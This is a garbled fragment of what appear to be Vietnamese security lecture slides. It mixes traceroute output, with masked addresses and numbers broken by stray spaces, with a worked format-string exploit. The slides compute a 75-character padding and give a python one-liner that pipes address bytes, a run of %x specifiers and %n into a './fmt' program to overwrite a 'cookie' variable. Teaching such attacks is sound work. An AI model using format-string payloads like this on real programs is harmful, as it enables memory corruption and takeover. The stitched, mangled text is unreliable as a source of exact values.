...
34.607 ms
5 isp2 (192.168.xx.xx) 51 .160 ms 54 .382 ms 150 .168 ms
6 10 .55 .208.38 106.216 ms 1 05. 319 ms 130.462 ms
7 192.168.xx.xx 140. 752 ms 254 .55 5 ms 106.610 ms
14 192.168.xx.xx 453 .829 ms ... (wa.xx.yy.zz) 38. 150 ms 37.780 ms 46 .58 7 ms
4 fm-ip2-isp (wb.xx.yy.zz) 51 .244 ms 50 .9 05 ms 47.294 ms
5 isp2-1 (wc.xx.yy.zz) 53 .732 ms 53 .432 ms 53 .072 ms
6 isp2-...
... cộng 100 ký tự ta cần thêm 100-21-
4= 75 ký tự
•
Vậy […] sẽ là 75 ký tự
python -c 'print "\x54\xF8\xFF\xBF%x%x%x%x%x%x%x%x%x" +
"a"* 75 + "%n"' | ./fmt
SECURITY ... expert!
25
2
Format Strings (tt)
•
Để gán 0x64 vào biến cookie
•
[địa chỉ cookie]%x%x%x%x%x%x%x%x%x[…]%n
•
[địa chỉ cookie] in ra 4 byte \x54\xF8\xFF\xBF
•
9 %x in ra 21 byte 0006b7ead...